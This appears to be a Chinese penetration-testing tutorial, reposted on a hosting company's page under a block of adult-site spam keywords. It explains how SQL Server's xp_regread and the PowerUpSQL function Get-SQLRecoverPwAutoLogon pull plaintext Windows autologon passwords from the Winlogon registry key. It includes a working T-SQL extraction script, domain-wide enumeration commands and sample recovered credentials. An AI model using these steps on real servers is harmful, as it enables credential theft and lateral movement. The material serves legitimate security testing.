日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關咨詢
選擇下列產(chǎn)品馬上在線溝通
服務時間:8:30-17:00
你可能遇到了下面的問題
關閉右側工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
通過SQL Server與PowerUpSQL獲取Windows自動登錄密碼

前言

目前創(chuàng)新互聯(lián)已為上1000家的企業(yè)提供了網(wǎng)站建設、域名、雅安服務器托管、綿陽服務器托管、企業(yè)網(wǎng)站設計、古藺網(wǎng)站維護等服務,公司將堅持客戶導向、應用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長,共同發(fā)展。

在本文中,我將演示如何使用PowerUpSQL通過SQL Server轉儲Windows自動登錄密碼。 我還將談一下例如xp_regread等其他方式存儲過程在滲透測試中利用方法。

xp_regread的簡短歷史

自SQL Server 2000以來,xp_regread擴展存儲過程一直存在。自從SQL Server 2000允許Public角色的成員訪問SQL Server服務帳戶中任何有權限的東西。 當時,它有一個非常大的影響,因為常見的SQL Server作為LocalSystem運行。

自從SQL Server 2000 SP4發(fā)布以來,xp_regread的影響已經(jīng)相當小,由于添加了一些訪問控制,防止低特權登錄的用戶去訪問注冊表敏感的位置。 現(xiàn)在,無權限用戶只可訪問與SQL Server相關的注冊表位置。 有關這些的列表,請訪問https://support.microsoft.com/en-us/kb/887165

以下是一些更有趣的訪問路徑:

 
 
 
  1. HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Microsoft SQL Server \  
  2. HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ MSSQLServer  
  3. HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Search  
  4. HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ SQLServer  
  5. HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows消息子系統(tǒng)  
  6. HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ EventLog \ Application \ SQLServer  
  7. HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ SNMP \ Parameters \ ExtensionAgents  
  8. HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ SQLServer  
  9. HKEY_CURRENT_USER \ Software \ Microsoft \ Mail HKEY_CURRENT_USER \ Control Panel \ International 

具有 Public權限的xp_regread的實際用途

xp_regread可以用來獲取很多有用的信息。 事實上,當作為最低權限登錄時,我們可以使用它來獲取無法在通過其他方式而獲得的服務器信息。 例如,PowerUpSQL中的Get-SQLServerInfo函數(shù)可以得到一些信息。

 
 
 
  1. PS C:\> Get-SQLServerInfo 
  2. ComputerName           : SQLServer1 
  3. Instance               : SQLServer1 
  4. DomainName             : demo.local 
  5. ServiceName            : MSSQLSERVER 
  6. ServiceAccount         : NT Service\MSSQLSERVER 
  7. AuthenticationMode     : Windows and SQL Server Authentication 
  8. Clustered              : No 
  9. SQLServerVersionNumber : 12.0.4213.0 
  10. SQLServerMajorVersion  : 2014 
  11. SQLServerEdition       : Developer Edition (64-bit) 
  12. SQLServerServicePack   : SP1 
  13. OSArchitecture         : X64 
  14. OsMachineType          : WinNT 
  15. OSVersionName          : Windows 8.1 Pro 
  16. OsVersionNumber        : 6.3 
  17. Currentlogin           : demo\user 
  18. IsSysadmin             : Yes 
  19. ActiveSessions         : 3 

在SQL Server SP4中實現(xiàn)的訪問控制限制不適用于sysadmins。 因此,SQL Server服務帳戶可以在注冊表中訪問的任何內(nèi)容,sysadmin可以通過xp_regread訪問。

乍一看,這可能不是一個大問題,但它確實允許我們從注冊表中提取敏感數(shù)據(jù),而無需啟用xp_cmdshell,當xp_cmdshell啟用和使用時可能會觸發(fā)大量警報。

使用xp_regread恢復Windows自動登錄憑據(jù)

可以將Windows配置為在計算機啟動時自動登錄。 雖然這不是企業(yè)環(huán)境中的常見配置,但這是我們在其他環(huán)境中經(jīng)??吹降?。 特別是那些支持傳統(tǒng)POS終端和Kiosk與本地運行SQL Server的。 在大多數(shù)情況下,當Windows配置為自動登錄時,未加密的憑據(jù)存儲在注冊表項中:

 
 
 
  1. HKEY_LOCAL_MACHINE SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 

利用該信息,我們可以編寫一個基本的TSQL腳本,該腳本使用xp_regread將自動登錄憑據(jù)從我們的注冊表中提取出來,而無需啟用xp_cmdshell。 下面是一個TSQL腳本示例,但由于注冊表路徑不在允許的列表中,我們必須將查詢作為sysadmin運行:

 
 
 
  1. ------------------------------------------------------------------------- 
  2. -- Get Windows Auto Login Credentials from the Registry 
  3. ------------------------------------------------------------------------- 
  4. -- Get AutoLogin Default Domain 
  5. DECLARE @AutoLoginDomain  SYSNAME 
  6. EXECUTE master.dbo.xp_regread 
  7. @rootkey        = N'HKEY_LOCAL_MACHINE', 
  8. @key            = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 
  9. @value_name     = N'DefaultDomainName', 
  10. @value          = @AutoLoginDomain output 
  11. -- Get AutoLogin DefaultUsername 
  12. DECLARE @AutoLoginUser  SYSNAME 
  13. EXECUTE master.dbo.xp_regread 
  14. @rootkey        = N'HKEY_LOCAL_MACHINE', 
  15. @key            = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 
  16. @value_name     = N'DefaultUserName', 
  17. @value          = @AutoLoginUser output 
  18. -- Get AutoLogin DefaultUsername 
  19. DECLARE @AutoLoginPassword  SYSNAME 
  20. EXECUTE master.dbo.xp_regread 
  21. @rootkey        = N'HKEY_LOCAL_MACHINE', 
  22. @key            = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 
  23. @value_name     = N'DefaultPassword', 
  24. @value          = @AutoLoginPassword output  
  25. -- Display Results 
  26. SELECT @AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword 

我還創(chuàng)建了一個名為“Get-SQLRecoverPwAutoLogon”的PowerUpSQL函數(shù),所以你可以直接運行它。 它將獲取到默認Windows自動登錄信息和備用Windows自動登錄信息(如果已設置)。 然后它返回相關的域名,用戶名和密碼。

下面是命令示例。

 
 
 
  1. PS C:\> $Accessible = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 15| Where-Object {$_.Status –eq “Accessible”} 
  2. PS C:\> $Accessible | Get-SQLRecoverPwAutoLogon -Verbose 
  3. VERBOSE: SQLServer1.demo.local\Instance1 : Connection Success. 
  4. VERBOSE: SQLServer2.demo.local\Application : Connection Success. 
  5. VERBOSE: SQLServer2.demo.local\Application : This function requires sysadmin privileges. Done. 
  6. VERBOSE: SQLServer3.demo.local\2014 : Connection Success. 
  7. VERBOSE: SQLServer3.demo.local\2014 : This function requires sysadmin privileges. Done. 
  8. ComputerName : SQLServer1 
  9. Instance     : SQLServer1\Instance1 
  10. Domain       : demo.local 
  11. UserName     : KioskAdmin 
  12. Password     : test 
  13. ComputerName : SQLServer1 
  14. Instance     : SQLServer1\Instance1 
  15. Domain       : demo.local 
  16. UserName     : kioskuser 
  17. Password     : KioskUserPassword! 

結尾

即使xp_regread擴展存儲過程已被部分關閉,不過仍然有很多方法,可以證明在滲透測試期間十分有用。 希望你會與“Get-SQLServerInfo”,“Get-SQLRecoverPwAutoLogon”函數(shù)有更多樂趣。


網(wǎng)站欄目:通過SQL Server與PowerUpSQL獲取Windows自動登錄密碼
文章鏈接:http://www.dlmjj.cn/article/cooospj.html